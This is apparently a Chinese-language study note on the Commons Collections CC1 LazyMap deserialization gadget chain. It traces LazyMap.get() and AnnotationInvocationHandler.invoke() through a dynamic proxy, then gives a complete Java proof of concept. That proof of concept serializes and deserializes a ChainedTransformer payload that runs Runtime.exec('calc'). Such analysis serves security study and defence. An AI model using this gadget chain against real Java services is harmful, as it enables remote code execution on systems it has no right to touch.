CC1-LazyMap

Gadget chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
From:
ysoserial
*/

后面还是用 InvokerTransformer,这个类完成任意命令执行的操作,分析一下改变的地方

LazyMap.get()

也是查找哪里调用了 transform(),map 里没有 key 才能执行到 transform()

image-20231117154740737

构造方法

类型为 protected

image-20231117163738044

decorate

利用这个方法完成赋值

image-20231117180522791

get() 有点多,直接看 chain

AnnotationInvocationHandler.invoke()

chain: AnnotationInvocationHandler.invoke(),代理对象的方法被调用时由Java运行时系统隐式地调用invoke方法

第一个 if 判断方法是 equals 返回 equalsImpl,第二个 if 判断参数不等于 0;绕过if ,不为 equals 的无参函数

image-20231117174557377

需要执行到 get()

image-20231117185700220

AnnotationInvocationHandler构造方法

入口类也是它,会用到构造方法

image-20231117181031771

Map(Proxy).entrySet()

不满足 invoke() 里的连个 if 条件,可以执行到 get()

image-20231117182205495

Proxy.newProxyInstance

创建动态代理,简单看一下形参,利用这个主要是调用 invoke()

image-20231117181552438

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package Gadget.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_LazyMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);

// Map,anotationInvocationHandler构造方法需要的参数
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);

// 序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);

// 反序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();

}
}
⬆︎TOP